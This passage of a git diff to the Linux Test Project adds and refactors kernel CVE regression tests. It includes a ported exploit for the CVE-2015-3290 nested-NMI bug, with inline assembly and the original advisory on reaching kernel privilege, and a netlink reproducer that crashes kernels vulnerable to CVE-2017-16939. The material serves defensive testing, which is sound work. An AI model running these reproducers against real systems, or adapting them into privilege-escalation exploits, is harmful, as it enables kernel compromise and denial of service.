 	eval $wc_cmd > temp 2>&1
 	if [ $? -ne 0 ]; then
-		grep -q -E "unknown option|invalid option" temp
+		grep -q -E "unknown option|invalid option|unrecognized option" temp
 		if [ $? -eq 0 ]; then
 			tst_res TCONF "$wc_cmd not supported."
 		else
diff --git a/testcases/commands/which/which01.sh b/testcases/commands/which/which01.sh
index 72c14fe..0bd698e 100755
--- a/testcases/commands/which/which01.sh
+++ b/testcases/commands/which/which01.sh
@@ -39,21 +39,22 @@
 
 which_verify()
 {
-	until [ -z "$1" ]
-	do
+	local IFS i j
+	IFS="$IFS_FIRST_LEVEL"
+	for i in $1; do
 		found="no"
-		for i in $1; do
-			if grep -q "$i" temp; then
+		IFS="$IFS_SECOND_LEVEL"
+		for j in $i; do
+			if grep -F -q "$j" temp; then
 				found="yes"
 			fi
 		done
 		if [ "$found" != "yes" ]; then
-			echo "'$1' not found in:"
+			echo "'$i' not found in:"
 			cat temp
 			echo
 			return 1
 		fi
-		shift
 	done
 }
 
@@ -94,14 +95,16 @@
 	tst_res TPASS "'${which_cmd}' passed."
 }
 
+IFS_FIRST_LEVEL='^'
+IFS_SECOND_LEVEL='|'
 do_test()
 {
 	case $1 in
-	1) which_test "" "pname" "$PWD/pname ./pname";;
-	2) which_test "--all" "pname" "$PWD/bin/pname" "$PWD/pname";;
-	3) which_test "-a" "pname" "$PWD/bin/pname ./bin/pname" "$PWD/pname ./pname";;
-	4) which_test "--read-alias" "pname" "pname='pname -i'" "$PWD/pname";;
-	5) which_test "-i" "pname" "pname='pname -i'" "$PWD/pname";;
+	1) which_test "" "pname" "$PWD/pname|./pname";;
+	2) which_test "-all" "pname" "$PWD/bin/pname|./bin/pname^$PWD/pname|./pname";;
+	3) which_test "-a" "pname" "$PWD/bin/pname|./bin/pname^$PWD/pname|./pname";;
+	4) which_test "--read-alias" "pname" "pname='pname -i'^$PWD/pname";;
+	5) which_test "-i" "pname" "pname='pname -i'^$PWD/pname";;
 	6) alias which='which --read-alias';
 	   which_test "--skip-alias" "pname" "$PWD/pname";
 	   unalias which;;
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 2566dbd..01a3e4c 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -1,12 +1,12 @@
-cve-2012-0957
 cve-2014-0196
-cve-2016-4997
+cve-2015-3290
 cve-2016-7042
 cve-2016-7117
 cve-2016-10044
 cve-2017-2618
 cve-2017-2671
-cve-2017-6951
-cve-2017-5669
 meltdown
 stack_clash
+cve-2017-17052
+cve-2017-16939
+cve-2017-17053
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index a7df1e4..6dc401c 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -19,6 +19,8 @@
 
 CFLAGS			+= -D_GNU_SOURCE
 
+stack_clash:	CFLAGS += -fno-optimize-sibling-calls
+
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
 cve-2016-7117:	CFLAGS += -pthread
@@ -36,4 +38,9 @@
 meltdown: CFLAGS += -msse2
 endif
 
+cve-2017-17052:	CFLAGS += -pthread
+cve-2017-17053:	CFLAGS += -pthread
+
+cve-2015-3290:	CFLAGS += -pthread
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/cve/cve-2014-0196.c b/testcases/cve/cve-2014-0196.c
index d181088..50a8b35 100644
--- a/testcases/cve/cve-2014-0196.c
+++ b/testcases/cve/cve-2014-0196.c
@@ -48,7 +48,6 @@
 
 #define ONEOFF_ALLOCS 200
 #define RUN_ALLOCS    30
-#define ATTEMPTS      0x7000
 #define BUFLEN        512
 
 static volatile int master_fd, slave_fd;
@@ -56,9 +55,8 @@
 static int target_ptys[RUN_ALLOCS * 2];
 static char buf[BUFLEN];
 
-static pthread_t overwrite_thread;
 static void *overwrite_thread_fn(void *);
-static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT;
+static struct tst_fzsync_pair fzsync_pair;
 
 static void create_pty(int *amaster, int *aslave)
 {
@@ -70,27 +68,24 @@
 {
 	int i;
 
+	fzsync_pair.exec_loops = 50000;
+
+	tst_fzsync_pair_init(&fzsync_pair);
+
 	for (i = 0; i < ONEOFF_ALLOCS; i++) {
 		create_pty(&filler_ptys[i],
 			   &filler_ptys[i + ONEOFF_ALLOCS]);
 	}
-
-	fzsync_pair.info_gap = 0xFFF;
-	SAFE_PTHREAD_CREATE(&overwrite_thread, NULL,
-			    overwrite_thread_fn, NULL);
 }
 
 static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
 {
-	while(tst_fzsync_wait_update_b(&fzsync_pair)) {
-		tst_fzsync_delay_b(&fzsync_pair);
-		tst_fzsync_time_b(&fzsync_pair);
-
+	while(tst_fzsync_run_b(&fzsync_pair)) {
+		tst_fzsync_start_race_b(&fzsync_pair);
 		SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
 		SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
 		SAFE_WRITE(0, slave_fd, buf, BUFLEN);
-		if (!tst_fzsync_wait_b(&fzsync_pair))
-			break;
+		tst_fzsync_end_race_b(&fzsync_pair);
 	}
 	return 0;
 }
@@ -98,11 +93,12 @@
 static void run(void)
 {
 	struct termios t;
-	int i, j;
+	int j;
 
 	tst_res(TINFO, "Attempting to overflow into a tty_struct...");
 
-	for (i = 0; i < ATTEMPTS; i++) {
+	tst_fzsync_pair_reset(&fzsync_pair, overwrite_thread_fn);
+	while (tst_fzsync_run_a(&fzsync_pair)) {
 		create_pty((int *)&master_fd, (int *)&slave_fd);
 
 		for (j = 0; j < RUN_ALLOCS; j++)
@@ -118,13 +114,9 @@
 		t.c_lflag |= ECHO;
 		tcsetattr(master_fd, TCSANOW, &t);
 
-		tst_fzsync_wait_update_a(&fzsync_pair);
-
-		tst_fzsync_delay_a(&fzsync_pair);
-		tst_fzsync_time_a(&fzsync_pair);
+		tst_fzsync_start_race_a(&fzsync_pair);
 		SAFE_WRITE(0, master_fd, "A", 1);
-
-		tst_fzsync_wait_a(&fzsync_pair);
+		tst_fzsync_end_race_a(&fzsync_pair);
 
 		for (j = 0; j < RUN_ALLOCS; j++) {
 			if (j == RUN_ALLOCS / 2)
@@ -149,10 +141,7 @@
 {
 	int i;
 
-	if (overwrite_thread) {
-		tst_fzsync_pair_exit(&fzsync_pair);
-		SAFE_PTHREAD_JOIN(overwrite_thread, NULL);
-	}
+	tst_fzsync_pair_cleanup(&fzsync_pair);
 
 	for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
 		close(filler_ptys[i]);
diff --git a/testcases/cve/cve-2015-3290.c b/testcases/cve/cve-2015-3290.c
new file mode 100644
index 0000000..435ed44
--- /dev/null
+++ b/testcases/cve/cve-2015-3290.c
@@ -0,0 +1,499 @@
+/*
+ * Copyright (c) 2017 Pavel Boldin <pboldin@cloudlinux.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Original exploit: http://www.openwall.com/lists/oss-security/2015/08/04/8
+ *
+ * Copyright (c) 2015 Andrew Lutomirski.
+ * GPL v2
+ *
+ * Build with -O2.  Don't use -fno-omit-frame-pointer.
+ *
+ * Thanks to Petr Matousek for pointing out a bug in the exploit.
+ */
+
+/*
+
+NOTE: rather than checking for full nested NMI exploitation we simply check
+that the NMI stack state can be corrupted with this code.
+
+http://www.openwall.com/lists/oss-security/2015/08/04/8
+
+> +++++ CVE-2015-3290 +++++
+>
+> High impact NMI bug on x86_64 systems 3.13 and newer, embargoed.  Also fixed
+by:
+>
+> https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9b6e6a8334d56354853f9c255d1395c2ba570e0a
+>
+> The other fix (synchronous modify_ldt) does *not* fix CVE-2015-3290.
+>
+> You can mitigate CVE-2015-3290 by blocking modify_ldt or
+> perf_event_open using seccomp.  A fully-functional, portable, reliable
+> exploit is privately available and will be published in a week or two.
+> *Patch your systems*
+
+And here's a real advisory:
+
+If an NMI returns via espfix64 and is interrupted during espfix64 setup
+by another NMI, the return state is corrupt.  This is exploitable for
+reliable privilege escalation on any Linux x86_64 system in which
+untrusted code can arrange for espfix64 to be invoked and for NMIs to be
+nested.
+
+Glossing over a lot of details, the basic structure of Linux' nested NMI
+handling is:
+
+nmi_handler:
+    if (in_nmi) {
+	nmi_latched = true;
+	return;
+    }
+    in_nmi = true;
+    handle the nmi;
+    atomically (this is magic):
+	if (nmi_latched) {
+	    nmi_latched = false;
+	    start over;
+	} else {
+	    in_nmi = false;
+	    return and unmask NMIs;
+	}
+
+Alas, on x86_64, there is no reasonable way to block NMIs to run the
+atomic part of that pseudocode atomically.  Instead, the entire atomic
+piece is implemented by the single instruction IRET.
+
+But x86_64 is more broken than just that.  The IRET instruction does not
+restore register state correctly [1] when returning to a 16-bit stack
+segment.  x86_64 has a complicated workaround called espfix64.  If
+espfix64 is invoked on return, a well-behaved IRET is emulated by a
+complicated scheme that involves manually switching stacks.  During the
+stack switch, there is a window of approximately 19 instructions between
+the start of espfix64's access to the original stack and when espfix64
+is done with the original stack.  If a nested NMI occurs during this
+window, then the atomic part of the basic nested NMI algorithm is
+observably non-atomic.
+
+Depending on exactly where in this window the nested NMI hits, the
+results vary.  Most nested NMIs will corrupt the return context and
+crash the calling process.  Some are harmless except that the nested NMI
+gets ignored.  There is a two-instruction window in which the return
+context ends up with user-controlled RIP and CS set to __KERNEL_CS.
+
+A careful exploit (attached) can recover from all the crashy failures
+and can regenerate a valid *privileged* state if a nested NMI occurs
+during the two-instruction window.  This exploit appears to work
+reasonably quickly across a fairly wide range of Linux versions.
+
+If you have SMEP, this exploit is likely to panic the system.  Writing
+a usable exploit against a SMEP system would be considerably more
+challenging, but it's surely possible.
+
+Measures like UDEREF are unlikely to help, because this bug is outside
+any region that can be protected using paging or segmentation tricks.
+However, recent grsecurity kernels seem to forcibly disable espfix64, so
+they're not vulnerable in the first place.
+
+A couple of notes:
+
+  - This exploit's payload just prints the text "CPL0".  The exploit
+    will keep going after printing CPL0 so you can enjoy seeing the
+    frequency with which it wins.  Interested parties could easily
+    write different payloads.  I doubt that any existing exploit
+    mitigation techniques would be useful against this type of
+    attack.
+
+  - If you are using a kernel older than v4.1, a 64-bit build of the
+    exploit will trigger a signal handling bug and crash.  Defenders
+    should not rejoice, because the exploit works fine when build
+    as a 32-bit binary or (so I'm told) as an x32 binary.
+
+  - This is the first exploit I've ever written that contains genuine
+    hexadecimal code.  The more assembly-minded among you can have
+    fun figuring out why :)
+
+[1] By "correctly", I mean that the register state ends up different
+from that which was saved in the stack frame, not that the
+implementation doesn't match the spec in the microcode author's minds.
+The spec is simply broken (differently on AMD and Intel hardware,
+perhaps unsurprisingly.)
+
+--Andy
+*/
+
+#include "config.h"
+#include "tst_test.h"
+#include "tst_timer.h"
+
+#if HAVE_PERF_EVENT_ATTR && (defined(__x86_64__) || defined(__i386__))
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <inttypes.h>
+#include <asm/ldt.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <setjmp.h>
+#include <signal.h>
+#include <string.h>
+#include <sys/wait.h>
+#include <linux/perf_event.h>
+
+#include "lapi/syscalls.h"
+#include "tst_safe_pthread.h"
+
+/* Abstractions for some 32-bit vs 64-bit differences. */
+#ifdef __x86_64__
+# define REG_IP REG_RIP
+# define REG_SP REG_RSP
+# define REG_AX REG_RAX
+
+struct selectors {
+	unsigned short cs, gs, fs, ss;
+};
+
+LTP_ATTRIBUTE_UNUSED
+static unsigned short *ssptr(ucontext_t *ctx)
+{
+	struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
+	return &sels->ss;
+}
+
+LTP_ATTRIBUTE_UNUSED
+static unsigned short *csptr(ucontext_t *ctx)
+{
+	struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
+	return &sels->cs;
+}
+#else
+# define REG_IP  REG_EIP
+# define REG_SP  REG_ESP
+# define REG_AX  REG_EAX
+# define REG_CR2 (REG_SS + 3)
+
+LTP_ATTRIBUTE_UNUSED
+static greg_t *ssptr(ucontext_t *ctx)
+{
+	return &ctx->uc_mcontext.gregs[REG_SS];
+}
+
+LTP_ATTRIBUTE_UNUSED
+static greg_t *csptr(ucontext_t *ctx)
+{
+	return &ctx->uc_mcontext.gregs[REG_CS];
+}
+#endif
+
+static volatile long expected_rsp;
+static int running = 1;
+
+static void set_ldt(void)
+{
+	/* Boring 16-bit data segment. */
+	const struct user_desc data_desc = {
+		.entry_number    = 0,
+		.base_addr       = 0,
+		.limit	   = 0xfffff,
+		.seg_32bit       = 0,
+		.contents	= 0, /* Data, expand-up */
+		.read_exec_only  = 0,
+		.limit_in_pages  = 0,
+		.seg_not_present = 0,
+		.useable	 = 0
+	};
+
+	TEST(tst_syscall(__NR_modify_ldt, 1, &data_desc, sizeof(data_desc)));
+	if (TST_RET == -EINVAL) {
+		tst_brk(TCONF | TRERRNO,
+			"modify_ldt: 16-bit data segments are probably disabled");
+	} else if (TST_RET != 0) {
+		tst_brk(TBROK | TRERRNO, "modify_ldt");
+	}
+}
+
+static void try_corrupt_stack(unsigned short orig_ss)
+{
+#ifdef __x86_64__
+	asm volatile (
+	      /* A small puzzle for the curious reader. */
+	      "mov    $2048, %%rbp    \n\t"
+
+	      /* Save rsp for diagnostics */
+	      "mov    %%rsp, %[expected_rsp] \n\t"
+
+	      /*
+	       * Let 'er rip.
+	       */
+	      "mov    %[ss], %%ss \n\t"   /* begin corruption */
+	      "movl   $1000, %%edx    \n\t"
+	      "1:  decl   %%edx       \n\t"
+	      "jnz    1b      \n\t"
+	      "mov    %%ss, %%eax \n\t"   /* grab SS to display */
+
+	      /* Did we enter CPL0? */
+	      "mov    %%cs, %%dx  \n\t"
+	      "testw  $3, %%dx    \n\t"
+	      "jnz    2f      \n\t"
+	      "leaq   3f(%%rip), %%rcx  \n\t"
+	      "movl   $0x200, %%r11d  \n\t"
+	      "sysretq	\n\t"
+	      "2:	     \n\t"
+
+	      /*
+	       * Stop further corruption.  We need to check CPL
+	       * first because we need RPL == CPL.
+	       */
+	      "mov    %[orig_ss], %%ss \n\t"  /* end corruption */
+
+	      "subq   $128, %%rsp \n\t"
+	      "pushfq	 \n\t"
+	      "testl  $(1<<9),(%%rsp)   \n\t"
+	      "addq   $136, %%rsp \n\t"
+	      "jz 3f      \n\t"
+	      "cmpl   %[ss], %%eax    \n\t"
+	      "je 4f      \n\t"
+	      "3:  int3	   \n\t"
+	      "4:	     \n\t"
+	      : [expected_rsp] "=m" (expected_rsp)
+	      : [ss] "r" (0x7), [orig_ss] "m" (orig_ss)
+		 : "rax", "rcx", "rdx", "rbp", "r11", "flags"
+	);
+#else
+	asm volatile (
+	      /* A small puzzle for the curious reader. */
+	      "mov    %%ebp, %%esi    \n\t"
+	      "mov    $2048, %%ebp    \n\t"
+
+	      /* Save rsp for diagnostics */
+	      "mov    %%esp, %[expected_rsp] \n\t"
+
+	      /*
+	       * Let 'er rip.
+	       */
+	      "mov    %[ss], %%ss \n\t"   /* begin corruption */
+	      "movl   $1000, %%edx    \n\t"
+	      "1:  .byte 0xff, 0xca   \n\t"   /* decl %edx */
+	      "jnz    1b      \n\t"
+	      "mov    %%ss, %%eax \n\t"   /* grab SS to display */
+
+	      /* Did we enter CPL0? */
+	      "mov    %%cs, %%dx  \n\t"
+	      "testw  $3, %%dx    \n\t"
+	      "jnz    2f      \n\t"
+	      ".code64	\n\t"
+	      "leaq   3f(%%rip), %%rcx \n\t"
+	      "movl   $0x200, %%r11d  \n\t"
+	      "sysretl	\n\t"
+	      ".code32	\n\t"
+	      "2:	     \n\t"
+
+	      /*
+	       * Stop further corruption.  We need to check CPL
+	       * first because we need RPL == CPL.
+	       */
+	      "mov    %[orig_ss], %%ss \n\t"  /* end corruption */
+
+	      "pushf	  \n\t"
+	      "testl  $(1<<9),(%%esp)   \n\t"
+	      "addl   $4, %%esp   \n\t"
+	      "jz 3f      \n\t"
+	      "cmpl   %[ss], %%eax    \n\t"
+	      "je 4f      \n\t"
+	      "3:  int3	   \n\t"
+	      "4:  mov %%esi, %%ebp   \n\t"
+	      : [expected_rsp] "=m" (expected_rsp)
+	      : [ss] "r" (0x7), [orig_ss] "m" (orig_ss)
+		 : "eax", "ecx", "edx", "esi", "flags"
+	);
+#endif
+}
+
+static int perf_event_open(struct perf_event_attr *hw_event, pid_t pid,
+			   int cpu, int group_fd, unsigned long flags)
+{
+	int ret;
+
+	ret = tst_syscall(__NR_perf_event_open, hw_event, pid, cpu,
+			  group_fd, flags);
+	return ret;
+}
+
+static int event_mlock_kb;
+static int max_sample_rate;
+
+static void *child_thread(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	long niter = 0;
+	unsigned short orig_ss;
+
+	struct perf_event_attr pe = {
+		.size = sizeof(struct perf_event_attr),
+		.disabled = 0,
+		.exclude_kernel = 0,
+		.exclude_hv = 0,
+		.freq = 1,
+		.sample_type = PERF_SAMPLE_IP|PERF_SAMPLE_TID|
+			PERF_SAMPLE_TIME|PERF_SAMPLE_CALLCHAIN|
+			PERF_SAMPLE_ID|PERF_SAMPLE_PERIOD,
+	};
+	/* Workaround bug in GCC 4.4.7 (CentOS6) */
+	pe.sample_freq = max_sample_rate / 5;
+
+	struct {
+		uint32_t type;
+		uint64_t config;
+		const char *name;
+	} perf_events[] = {
+		{
+			.type = PERF_TYPE_HARDWARE,
+			.config = PERF_COUNT_HW_INSTRUCTIONS,
+			.name = "hw instructions",
+		},
+		{
+			.type = PERF_TYPE_HARDWARE,
+			.config = PERF_COUNT_HW_CACHE_REFERENCES,
+			.name = "hw cache references",
+		},
+	};
+
+	void *perf_mmaps[ARRAY_SIZE(perf_events)];
+	unsigned int i;
+
+	for (i = 0; i < ARRAY_SIZE(perf_events); i++) {
+		int fd;
+
+		pe.type = perf_events[i].type;
+		pe.config = perf_events[i].config;
+
+		fd = perf_event_open(&pe, 0, -1, -1, 0);
+		if (fd == -1) {
+			if (errno == EINVAL || errno == ENOENT ||
+			    errno == EBUSY)
+				tst_brk(TCONF | TERRNO,
+					"no hardware counters");
+			else
+				tst_brk(TBROK | TERRNO, "perf_event_open");
+			/* tst_brk exits */
+		}
+
+		perf_mmaps[i] = SAFE_MMAP(NULL, event_mlock_kb * 1024,
+					  PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
+		SAFE_CLOSE(fd);
+	}
+
+	asm volatile ("mov %%ss, %0" : "=rm" (orig_ss));
+
+	for (niter = 0; running && niter < 1000*1000*1000L; niter++) {
+
+		try_corrupt_stack(orig_ss);
+
+		/*
+		 * If we ended up with IF == 0, there's no easy way to fix
+		 * it.  Instead, make frequent syscalls to avoid hanging
+		 * the system.
+		 */
+		syscall(0x3fffffff);
+	}
+
+	for (i = 0; i < ARRAY_SIZE(perf_events); i++)
+		if (perf_mmaps[i] != MAP_FAILED)
+			SAFE_MUNMAP(perf_mmaps[i], 512 * 1024);
+
+	return (void *)niter;
+}
+
+#define TIMEOUT		(180)
+#define TIME_TO_GIVEUP	(TIMEOUT - 5)
+#define TIMER_TYPE	CLOCK_MONOTONIC
+
+static void do_child(void)
+{
+	int i, ncpus;
+	pthread_t *threads;
+	long iter, total_iter = 0;
+
+	tst_res(TINFO, "attempting to corrupt nested NMI stack state");
+
+	set_ldt();
+
+	ncpus = tst_ncpus();
+	threads = SAFE_MALLOC(sizeof(*threads) * ncpus);
+
+	for (i = 0; i < ncpus; i++)
+		SAFE_PTHREAD_CREATE(&threads[i], NULL, child_thread, NULL);
+
+	sleep(TIME_TO_GIVEUP);
+	running = 0;
+
+	for (i = 0; i < ncpus; i++) {
+		SAFE_PTHREAD_JOIN(threads[i], (void **)&iter);
+		total_iter += iter;
+	}
+	free(threads);
+
+	tst_res(TPASS, "can't corrupt nested NMI state after %ld iterations",
+		total_iter);
+}
+
+static void setup(void)
+{
+        /*
+         * According to perf_event_open's manpage, the official way of
+         * knowing if perf_event_open() support is enabled is checking for
+         * the existence of the file /proc/sys/kernel/perf_event_paranoid.
+         */
+	if (access("/proc/sys/kernel/perf_event_paranoid", F_OK) == -1)
+		tst_brk(TCONF, "Kernel doesn't have perf_event support");
+
+	SAFE_FILE_SCANF("/proc/sys/kernel/perf_event_mlock_kb",
+			"%d", &event_mlock_kb);
+	SAFE_FILE_SCANF("/proc/sys/kernel/perf_event_max_sample_rate",
+			"%d", &max_sample_rate);
+}
+
+static void run(void)
+{
+	pid_t pid;
+	int status;
+
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		do_child();
+		return;
+	}
+
+	SAFE_WAITPID(pid, &status, 0);
+	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV)
+		tst_res(TFAIL, "corrupted NMI stack");
+	else if (WIFEXITED(status) && WEXITSTATUS(status) != 0)
+		tst_res(WEXITSTATUS(status), "Propogate child status");
+}
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.setup = setup,
+	.timeout = TIMEOUT,
+	.test_all = run,
+};
+
+#else /* HAVE_PERF_EVENT_ATTR && (defined(__x86_64__) || defined(__i386__)) */
+
+TST_TEST_TCONF("no perf_event_attr or not (i386 or x86_64)");
+
+#endif
diff --git a/testcases/cve/cve-2016-10044.c b/testcases/cve/cve-2016-10044.c
index 14fa0a4..1659e6c 100644
--- a/testcases/cve/cve-2016-10044.c
+++ b/testcases/cve/cve-2016-10044.c
@@ -41,7 +41,7 @@
 
 static void run(void)
 {
-	uint64_t ctx = 0;
+	void* ctx = 0;
 	char perms[8], line[BUFSIZ];
 
 	SAFE_PERSONALITY(READ_IMPLIES_EXEC);
diff --git a/testcases/cve/cve-2016-7117.c b/testcases/cve/cve-2016-7117.c
index 3cb7efc..db62909 100644
--- a/testcases/cve/cve-2016-7117.c
+++ b/testcases/cve/cve-2016-7117.c
@@ -51,7 +51,6 @@
 
 #include "tst_test.h"
 #include "tst_safe_net.h"
-#include "tst_safe_pthread.h"
 #include "tst_timer.h"
 #include "tst_fuzzy_sync.h"
 
@@ -93,13 +92,16 @@
 };
 static char rbuf[sizeof(MSG)];
 static struct timespec timeout = { .tv_sec = RECV_TIMEOUT };
-static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT;
-static pthread_t pt_send;
+static struct tst_fzsync_pair fzsync_pair;
 static void *send_and_close(void *);
 
 static void setup(void)
 {
-	SAFE_PTHREAD_CREATE(&pt_send, 0, send_and_close, 0);
+	fzsync_pair.min_samples = 10000;
+
+	tst_syscall(__NR_recvmmsg, 0, 0, 0, 0, 0);
+
+	tst_fzsync_pair_init(&fzsync_pair);
 }
 
 static void cleanup(void)
@@ -107,61 +109,64 @@
 	close(socket_fds[0]);
 	close(socket_fds[1]);
 
-	if (pt_send) {
-		tst_fzsync_pair_exit(&fzsync_pair);
-		SAFE_PTHREAD_JOIN(pt_send, 0);
-	}
+	tst_fzsync_pair_cleanup(&fzsync_pair);
 }
 
 static void *send_and_close(void *arg)
 {
-	while (tst_fzsync_wait_update_b(&fzsync_pair)) {
-		send(socket_fds[0], MSG, sizeof(MSG), 0);
-		send(socket_fds[0], MSG, sizeof(MSG), 0);
+	while (tst_fzsync_run_b(&fzsync_pair)) {
 
-		tst_fzsync_delay_b(&fzsync_pair);
+		tst_fzsync_wait_b(&fzsync_pair);
+		send(socket_fds[0], MSG, sizeof(MSG), 0);
+		send(socket_fds[0], MSG, sizeof(MSG), 0);
 
 		close(socket_fds[0]);
+
+		tst_fzsync_start_race_b(&fzsync_pair);
 		close(socket_fds[1]);
-		tst_fzsync_time_b(&fzsync_pair);
-		if (!tst_fzsync_wait_b(&fzsync_pair))
-			break;
+		tst_fzsync_end_race_b(&fzsync_pair);
 	}
 	return arg;
 }
 
 static void run(void)
 {
-	int i, stat, too_early_count = 0;
+	int stat, too_early_count = 0;
 
 	msghdrs[0].msg_hdr.msg_iov->iov_base = (void *)&rbuf;
 
-	for (i = 1; i < ATTEMPTS; i++) {
+	tst_fzsync_pair_reset(&fzsync_pair, send_and_close);
+	while (tst_fzsync_run_a(&fzsync_pair)) {
+
 		if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, (int *)socket_fds))
 			tst_brk(TBROK | TERRNO, "Socket creation failed");
+		tst_fzsync_wait_a(&fzsync_pair);
 
-		tst_fzsync_wait_update_a(&fzsync_pair);
-		tst_fzsync_delay_a(&fzsync_pair);
-
+		tst_fzsync_start_race_a(&fzsync_pair);
 		stat = tst_syscall(__NR_recvmmsg,
 				   socket_fds[1], msghdrs, 2, 0, &timeout);
-		tst_fzsync_time_a(&fzsync_pair);
-		if (stat < 0 && errno == EBADF)
-			too_early_count++;
-		else if (stat == 0)
-			tst_res(TWARN, "No messages received, should be one");
-		else if (stat < 0)
-			tst_res(TWARN | TERRNO, "recvmmsg failed unexpectedly");
+		tst_fzsync_end_race_a(&fzsync_pair);
 
-		tst_fzsync_wait_a(&fzsync_pair);
+		if (stat == 0)
+			tst_res(TWARN, "No messages received, should be one");
+		else if (stat < 0) {
+			if (errno != EBADF) {
+				tst_res(TWARN | TERRNO,
+					"recvmmsg failed unexpectedly");
+			} else {
+				tst_fzsync_pair_add_bias(&fzsync_pair, 1);
+				too_early_count++;
+			}
+		}
 	}
 
-	tst_res(TPASS, "Nothing happened after %d attempts", ATTEMPTS);
+	tst_res(TPASS, "Nothing bad happened, probably.");
+	tst_res(TINFO, "Socket was closed too early %d times", too_early_count);
 }
 
 static struct tst_test test = {
-	.setup = setup,
 	.test_all = run,
+	.setup = setup,
 	.cleanup = cleanup,
 	.min_kver = "2.6.33",
 };
diff --git a/testcases/cve/cve-2017-16939.c b/testcases/cve/cve-2017-16939.c
new file mode 100644
index 0000000..8101afc
--- /dev/null
+++ b/testcases/cve/cve-2017-16939.c
@@ -0,0 +1,92 @@
+/*
+ * Copyright (c) 2018 Michael Moese <mmoese@suse.de>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/* Regression test for commit:
+ * 1137b5e2529a ipsec: Fix aborted xfrm policy dump crash aka CVE-2017-16939
+ *
+ * Based on the reproducing code from Mohammed Ghannam, published on
+ * https://blogs.securiteam.com/index.php/archives/3535
+ *
+ * CAUTION! If your system is vulnerable to this CVE, the kernel
+ * WILL DIE!
+ */
+
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+#include <netinet/in.h>
+#include <linux/netlink.h>
+
+#include "lapi/xfrm.h"
+#include "tst_test.h"
+#include "tst_res_flags.h"
+#include "tst_safe_macros.h"
+#include "tst_safe_net.h"
+#include "lapi/namespaces_constants.h"
+
+#define BUFSIZE 2048
+
+static int fd;
+static struct sockaddr_nl addr;
+
+struct msg_policy {
+	struct nlmsghdr msg;
+	char buf[BUFSIZE];
+};
+static struct msg_policy *p;
+
+static void setup(void)
+{
+	if (unshare(CLONE_NEWUSER) != 0)
+		tst_brk(TCONF, "unshare(CLONE_NEWUSER) failed");
+	if (unshare(CLONE_NEWNET) != 0)
+		tst_brk(TCONF, "unshare(CLONE_NEWNET) failed");
+
+	fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM);
+	memset(&addr, 0, sizeof(struct sockaddr_nl));
+	addr.nl_family = AF_NETLINK;
+	addr.nl_pid = 0; /* packet goes into the kernel */
+	addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */
+
+	p = SAFE_MALLOC(sizeof(struct msg_policy));
+	memset(p, 0, sizeof(struct msg_policy));
+
+	p->msg.nlmsg_len = 0x10;
+	p->msg.nlmsg_type = XFRM_MSG_GETPOLICY;
+	p->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI |  NLM_F_REQUEST;
+	p->msg.nlmsg_seq = 0x1;
+	p->msg.nlmsg_pid = 2;
+}
+
+static void run(void)
+{
+	int var = 0x100;
+
+	SAFE_SETSOCKOPT(fd, 1, SO_RCVBUF, &var, sizeof(int));
+	SAFE_SENDTO(1, fd, (void *) &p->msg, p->msg.nlmsg_len, 0,
+		    (struct sockaddr *) &addr,
+		    sizeof(struct sockaddr_nl));
+
+	tst_res(TPASS, "Kernel seems to have survived");
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+};
diff --git a/testcases/cve/cve-2017-17052.c b/testcases/cve/cve-2017-17052.c
new file mode 100644
index 0000000..d7da7e9
--- /dev/null
+++ b/testcases/cve/cve-2017-17052.c
@@ -0,0 +1,131 @@
+/*
+ * Copyright (c) 2018 Michael Moese <mmoese@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
